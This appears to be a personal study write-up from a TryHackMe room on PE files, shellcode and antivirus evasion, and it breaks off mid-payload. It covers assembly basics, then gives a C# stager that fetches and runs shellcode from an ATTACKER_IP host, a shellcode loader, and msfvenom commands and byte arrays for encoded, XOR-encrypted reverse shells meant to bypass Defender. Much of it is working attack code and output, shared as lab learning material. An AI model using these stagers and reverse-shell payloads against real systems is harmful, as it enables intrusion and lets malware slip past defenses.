Shell Code

What is PE?

Windows Executable file format, aka PE (Portable Executable), is a data structure that holds information necessary for files. It is a way to organize executable file code on a disk. Windows operating system components, such as Windows and DOS loaders, can load it into memory and execute it based on the parsed file information found in the PE.

Here is a picture of the structure of a PE file.

![[Pasted image 20231205120132.png]]

As we can see.There are many types of containers of date, each of them holds different data.

  1. .text stores the actual code of the program
  2. .data holds the initialized and defined variables
  3. .bss holds the uninitialized data (declared variables with no assigned values)
  4. .rdata contains the read-only data
  5. .edata: contains exportable objects and related table information
  6. .idata imported objects and related table information
  7. .reloc image relocation information
  8. .rsrc links external resources used by the program such as images, icons, embedded binaries, and manifest file, which has all information about program versions, authors, company, and copyright!

How PE works

  1. Header sections: DOS, Windows, and optional headers are parsed to provide information about the EXE file. For example,
    • The magic number starts with “MZ,” which tells the loader that this is an EXE file.
    • File Signatures
    • Whether the file is compiled for x86 or x64 CPU architecture.
    • Creation timestamp.

     

  2. Parsing the section table details, such as 
    • Number of Sections the file contains.
  3. Mapping the file contents into memory based on
    • The EntryPoint address and the offset of the ImageBase. 
    • RVA: Relative Virtual Address, Addresses related to Imagebase.
  4. Imports, DLLs, and other objects are loaded into the memory.
  5. The EntryPoint address is located and the main execution function runs.

Small trick

When you view a PE file in a hex editor and see 4D5A, it’s actually stored in little-endian byte order. Little-endian byte order means the lower byte (in this case, 5A) is stored at the lower address, and the higher byte (4D) is stored at the higher address. So, when these bytes are stored consecutively in memory, they actually appear in the order 5A4D.

  • x86 and x86-64 are using little-endian
  • ARM mostly uses little-endian
  • Some MIPS , PowerPC and SPARC use big-endian

About Shellcode

Shellcode is mostly used to create a reverse shell and it will modifies the code run flow and update register and program to execute attacker’s code.

It is generally written in Assembly and it will be helpful to evading AV software.But it is really hard.

Things we must to know

  • A deep understanding of x86 and x86 CPU architectures.
  • Assembly.(Oh no)
  • Familiarity with the Linux and Windows.

An example

Print THM,Rocks

The following assembly code uses two main functions:

  • System Write function (sys_write) to print out a string we choose.
  • System Exit function (sys_exit) to terminate the execution of the program.

In order to call those two functions we need to use syscall.

What is syscall

Syscall is the way we interact with the kernel.It is a mechanism through which a program requests a service from the operating system’s kernel. Syscall is provided by OS kernel to perform operations that they cannot do directly, such as file operations, network communications, memory management, etc.

In summary, system calls are a mechanism that enables user space programs to safely and efficiently utilize services provided by the kernel, while maintaining the stability and security of the operating system. Everything begins with syscall. Higher level programming language makes a encapsulation to provide abstraction.

Also different OS provides different interface.

Linux x64

rax System Call rdi rsi rdx
0x1 sys_write unsigned int fd const char *buf size_t count
0x3c sys_exit int error_code

For sys_write, the first parameter sent through rdi is the file descriptor to write to. The second parameter in rsi is a pointer to the string we want to print, and the third in rdx is the size of the string to print.

For sys_exit, rdi needs to be set to the exit code for the program. We will use the code 0, which means the program exited successfully.

Example

global _start

section .text
_start:
jmp MESSAGE ; 1) let's jump to MESSAGE

GOBACK:
mov rax, 0x1
mov rdi, 0x1
pop rsi ; 3) we are popping into `rsi`; now we have the
; address of "THM, Rocks!\r\n"
mov rdx, 0xd
syscall

mov rax, 0x3c
mov rdi, 0x0
syscall

MESSAGE:
call GOBACK ; 2) we are going back, since we used `call`, that means
; the return address, which is, in this case, the address
; of "THM, Rocks!\r\n", is pushed into the stack.
db "THM, Rocks!", 0dh, 0ah
  • db Define Byte
  • rax syscall number
  • rdi file descriptor

Let’s take a look of it.

First the program will begin wit _start,it will jump to MESSAGE , and push every command into stack , mov rax , 0x1 means call sys_write,and mov rdi, 0x1 set stdout into 1. And “THM, Rocks!” is pushed after the GOBACK,so we just pop it to rsi which should contain the sting we want to print. And set rdx to the length of the string. The next thing is just call.

How to compile?

root@ubuntu:/home/GS/ASM# nasm -f elf64 thm.asm
root@ubuntu:/home/GS/ASM# ld thm.o -o thm
root@ubuntu:/home/GS/ASM# ./thm
THM, Rocks!

Take a look into the bin file

After we having the file , we could use objdump -d ./thm to extract the shellcode.

root@ubuntu:/home/GS/ASM# objdump -d thm

thm: file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <_start>:
401000: eb 1e jmp 401020 <MESSAGE>

0000000000401002 <GOBACK>:
401002: b8 01 00 00 00 mov $0x1,%eax
401007: bf 01 00 00 00 mov $0x1,%edi
40100c: 5e pop %rsi
40100d: ba 0d 00 00 00 mov $0xd,%edx
401012: 0f 05 syscall
401014: b8 3c 00 00 00 mov $0x3c,%eax
401019: bf 00 00 00 00 mov $0x0,%edi
40101e: 0f 05 syscall

0000000000401020 <MESSAGE>:
401020: e8 dd ff ff ff call 401002 <GOBACK>
401025: 54 push %rsp
401026: 48 rex.W
401027: 4d 2c 20 rex.WRB sub $0x20,%al
40102a: 52 push %rdx
40102b: 6f outsl %ds:(%rsi),(%dx)
40102c: 63 6b 73 movsxd 0x73(%rbx),%ebp
40102f: 21 .byte 0x21
401030: 0d .byte 0xd
401031: 0a .byte 0xa

Now we need to extract the hex value from the above output. To do that, we can use objcopy to dump the .text section into a new file called thm.text in a binary format as follows:

root@ubuntu:/home/GS/ASM# objcopy -j .text -O binary thm thm.text
root@ubuntu:/home/GS/ASM# xxd -i thm.text
unsigned char thm_text[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};
unsigned int thm_text_len = 50;

To confirm that the extracted shellcode works as we expected, we can execute our shellcode and inject it into a C program.

#include <stdio.h>

int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};

(*(void(*)())message)();
return 0;
}

We should compile the c program by:

root@ubuntu:/home/GS/ASM# gcc -g -Wall -z execstack thmX.c -o thmx
root@ubuntu:/home/GS/ASM# ./thmx
THM, Rocks!

The -z execstack option modifies the program’s stack segment to make it executable. By default, the stack segment in modern operating systems is non-executable, serving as a security measure to prevent buffer overflow attacks.But here we should set it to execstack.

Mession

To execute the following shellcode to get flag:

unsigned char message[] = {
0xeb, 0x34, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x5e, 0x48, 0x89, 0xf0, 0x80,
0x34, 0x08, 0x01, 0x48, 0x83, 0xc1, 0x01, 0x48, 0x83, 0xf9, 0x19, 0x75,
0xf2, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xba,
0x19, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf,
0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x55,
0x49, 0x4c, 0x7a, 0x78, 0x31, 0x74, 0x73, 0x2c, 0x30, 0x72, 0x36, 0x2c,
0x34, 0x69, 0x32, 0x30, 0x30, 0x62, 0x31, 0x65, 0x32, 0x7c, 0x0d, 0x0a
};

The c file should be:

#include <stdio.h>

int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x34, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x5e, 0x48, 0x89, 0xf0, 0x80,
0x34, 0x08, 0x01, 0x48, 0x83, 0xc1, 0x01, 0x48, 0x83, 0xf9, 0x19, 0x75,
0xf2, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00, 0xba,
0x19, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00, 0x00, 0xbf,
0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xc7, 0xff, 0xff, 0xff, 0x55,
0x49, 0x4c, 0x7a, 0x78, 0x31, 0x74, 0x73, 0x2c, 0x30, 0x72, 0x36, 0x2c,
0x34, 0x69, 0x32, 0x30, 0x30, 0x62, 0x31, 0x65, 0x32, 0x7c, 0x0d, 0x0a
};

(*(void(*)())message)();
return 0;
}

Why the C works?

Let’s have a look at (*(void(*)())message)();
*(void(*)() means converted into a pointer to a function that takes no arguments and returns no value.
After the type conversion, it will be *(void(*)() (), it will be regard as function call.

Generate Shellcode

The advantage of generating shellcode via public tools is that we don’t need to craft a custom shellcode from scratch, but it means that it will be easier to be detected.

Create a shellcode to call calc

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room]
└─# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of c file: 838 bytes
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d"
"\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
"\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
"\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

Shellcode injection to memory

Example below from thm show a way to inject our shellcode into memory and will execute “calc.exe”.

Example

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}

To compile it should with

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Generate Shellcode from EXE files

Shellcode can also be stored in .bin files, which is a raw data format. In this case, we can get the shellcode of it using the xxd -i command.

Example

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Bin-Example]
└─# msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > ./example.bin
No encoder specified, outputting raw payload
Payload size: 193 bytes


┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Bin-Example]
└─# xxd -i ./example.bin
unsigned char __example_bin[] = {
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64,
0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28,
0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c,
0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52,
0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49,
0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01,
0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75,
0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b,
0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a,
0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00,
0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5,
0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c,
0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65,
0x00
};
unsigned int __example_bin_len = 193;

I like to use vim with %!xxd

xxd will transfer the hex into c code.

Staged Payloads

Stageless Payloads

It will includes all codes, it just take one step to finish,but it leads to easier detection.

Staged Payloads

While there might be payloads with several stages, the usual case involves having a two-stage payload where the first stage, which we’ll call stage0, is a stub shellcode that will connect back to the attacker’s machine to download the final shellcode to be executed.

Staged vs. Stageless

In the case of stageless payloads, you will find the following advantages:

  • The resulting executable packs all that is needed to get our shellcode working.
  • The payload will execute without requiring additional network connections. The fewer the network interactions, the lesser your chances of being detected by an IPS.
  • If you are attacking a host with very restricted network connectivity, you may want your whole payload to be in a single package.

For staged payloads, you will have:

  • Small footprint on disk. Since stage0 is only in charge of downloading the final shellcode, it will most likely be small in size.
  • The final shellcode isn’t embedded into the executable. If your payload is captured, the Blue Team will only have access to the stage0 stub and nothing more.
  • The final shellcode is loaded in memory and never touches the disk. This makes it less prone to be detected by AV solutions.
  • You can reuse the same stage0 dropper for many shellcodes, as you can simply replace the final shellcode that gets served to the victim machine.

Creating Your Own Stager

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}

public static void Stager(string url)
{

WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

byte[] shellcode = wc.DownloadData(url);

UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

WaitForSingleObject(threadHandle, 0xFFFFFFFF);

}
}

In fact we could use http, useing https is more complex.

Using Https

openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes

python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

What happens

Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:10.10.59.4 - - [05/Dec/2023 16:23:07] "GET /shellcode.bin HTTP/1.1" 200 -
::ffff:10.10.59.4 - - [05/Dec/2023 16:27:34] "GET /shellcode.bin HTTP/1.1" 200 -
::ffff:10.10.59.4 - - [05/Dec/2023 16:27:51] "GET /shellcode.bin HTTP/1.1" 200 -

As we can see after the code executed it will try to get the shellcode on our machine.

Encode using MSFVenom

Public Tools such as Metasploit provide encoding and encryption features. However, AV vendors are aware of the way these tools build their payloads and take measures to detect them.

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Bin-Example]
└─# msfvenom --list encoders

Framework Encoders [--encoder <value>]
======================================

Name Rank Description
---- ---- -----------
cmd/brace low Bash Brace Expansion Command Encoder
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Bourne ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder
mipsbe/longxor normal XOR Encoder
mipsle/byte_xori normal Byte XORi Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
ruby/base64 great Ruby Base64 Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x64/xor_context normal Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal Dynamic key XOR Encoder
x64/zutto_dekiru manual Zutto Dekiru
x86/add_sub manual Add/Sub Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual BMP Polyglot
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/opt_sub manual Sub Encoder (optimised)
x86/service manual Register Service
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
x86/xor_dynamic normal Dynamic key XOR Encoder
x86/xor_poly normal XOR POLY Encoder

We could encode our payload with the encoder we like,here is a example:

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Encode]
└─# msfvenom -a x86 --platform Windows LHOST=10.14.60.142 LPORT=443 -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
-f csharp
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai succeeded with size 378 (iteration=1)
x86/shikata_ga_nai succeeded with size 405 (iteration=2)
x86/shikata_ga_nai chosen with final size 405
Payload size: 405 bytes
Final size of csharp file: 2089 bytes
byte[] buf = new byte[405] {0xdb,0xdb,0xbd,0x9d,0xeb,0xd5,
0x6a,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x5f,0x31,0x6b,
0x19,0x83,0xeb,0xfc,0x03,0x6b,0x15,0x7f,0x1e,0x6e,0x82,0x88,
0x81,0x85,0x89,0xa8,0x9b,0xd2,0x09,0xa0,0x46,0x28,0x9b,0xf9,
0x2f,0x7f,0x41,0xec,0xcc,0x25,0x60,0x8d,0x39,0x25,0x68,0x8c,
0x93,0x40,0xc3,0x8b,0x31,0x02,0xdf,0xdf,0x6c,0x6f,0xf0,0x29,
0x15,0xec,0x71,0x81,0xa7,0x22,0x18,0xf2,0x55,0xf1,0xbf,0x77,
0xd3,0x0d,0xa2,0x40,0x6a,0x39,0xb5,0xdd,0xfa,0xf3,0xaa,0xfb,
0xbc,0x84,0x07,0x45,0x68,0x7e,0xf0,0xe1,0xc1,0x09,0xa6,0xa7,
0xb7,0x85,0xf8,0x64,0x9f,0x4c,0x4b,0xb9,0x64,0x3f,0x1d,0xe5,
0x49,0x1a,0x47,0x90,0x2a,0xeb,0x09,0xf9,0x5a,0x6f,0xfa,0xe0,
0x44,0xb8,0x21,0x05,0xe7,0x90,0x08,0xd3,0x04,0xc4,0x8f,0x1d,
0xbc,0x51,0x44,0xa2,0x0a,0xed,0x56,0xe3,0x70,0xdf,0xac,0x3a,
0xd3,0x6e,0x86,0x3c,0x28,0x6a,0x6c,0xf1,0xd2,0xf8,0x96,0x8e,
0x12,0xf4,0x2c,0x88,0x4f,0x83,0xd9,0x47,0x74,0xde,0xe7,0xb6,
0xdd,0xf9,0x8d,0xd1,0xa6,0x72,0x55,0x80,0x8f,0x90,0x15,0xb0,
0x75,0x36,0x7a,0xdb,0x39,0xc3,0x1c,0xbc,0x07,0xe6,0x3d,0x2b,
0xb2,0xf7,0x78,0xec,0x37,0xff,0x81,0x56,0x7d,0xe6,0x20,0xaf,
0xaa,0x3f,0xf3,0xaa,0x5a,0xc2,0xf0,0xa2,0x40,0x20,0xf8,0xe9,
0xb2,0x72,0x1d,0x76,0x24,0x38,0x8c,0xd5,0x6e,0xd3,0x77,0x15,
0xfe,0x89,0xd1,0x2a,0xcb,0x05,0x78,0x2f,0x63,0xa7,0x6c,0xf2,
0x56,0xff,0x4c,0xf3,0xd6,0xa6,0x5f,0x1a,0x9f,0x3f,0xe0,0xaf,
0x32,0x27,0x6c,0x30,0xc9,0x21,0xc2,0x86,0xea,0x5c,0xba,0xe2,
0xd2,0xec,0x5e,0x82,0x04,0xf7,0xdb,0x72,0xdd,0x1f,0x09,0xec,
0x92,0xad,0xca,0x77,0xd0,0xc2,0x53,0x51,0xe8,0x7b,0x56,0x69,
0xa3,0x5c,0xc8,0xd4,0x4c,0xc3,0x45,0xc2,0x91,0xd8,0x80,0x77,
0xcc,0x7e,0x4d,0x05,0x7c,0xf7,0x5c,0x7e,0x19,0x8a,0xc8,0x13,
0xe6,0x0d,0xef,0x28,0x46,0x37,0x38,0x63,0x81,0xd6,0xd9,0x38,
0x0a,0x0a,0xa2,0x46,0x9f,0xc2,0x27,0xc3,0xdf,0xb4,0xf7,0x5d,
0xe0,0x73,0xbc,0x80,0x47,0x78,0x51,0xf0,0x9e,0x3b,0x7c,0x03,
0x3d,0x85,0x49,0x89,0xeb,0x73,0xf0,0xb8,0x8a,0xb6,0x87,0xc1,
0x59,0xd4,0x46,0xb1,0x22,0x7b,0xaa,0x99,0xf5,0xef,0xb9,0x1b,
0xf4,0x24,0xbb,0x52,0xae,0xc4,0x77,0xb7,0x97,0x3f,0x9a,0x36,
0x8e,0x3d,0x74,0x72,0x9c,0xfc,0x57,0xba,0x49,0x67,0x9c,0x08,
0xd3,0x64,0x42};

Encryption using MSFVenom

Also we can easily generate encrypted payloads using msfvenom.

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Encode]
└─# msfvenom --list encrypt

Framework Encryption Formats [--encrypt <value>]
================================================

Name
----
aes256
base64
rc4
xor

Here is a example to create a XOR encrypted payload.

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Encode]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=7788 -f exe --encrypt xor --encrypt-key "MyZekr3tKey***" -o
xored-revshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: xored-revshell.exe

Creating a Custom Payload

But payload created by MSFVenom are always easy to be detected! So we can use our own custom encoding schemes so that the AV doesn’t know what to do to analyze our payload.

For this task, we will take a simple reverse shell generated by msfvenom and use a combination of XOR and Base64 to bypass Defender.

Gen payload

First we could create a shellcode without any encryption.

┌──(root㉿kali)-[/Users/GS/Hacking/tmp/THM/Learning-Room/ShellCodeAv/Encode]
└─# msfvenom LHOST=10.14.60.142 LPORT=443 -p windows/x64/shell_reverse_tcp -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of csharp file: 2368 bytes
byte[] buf = new byte[460] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,
0x0a,0x0e,0x3c,0x8e,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
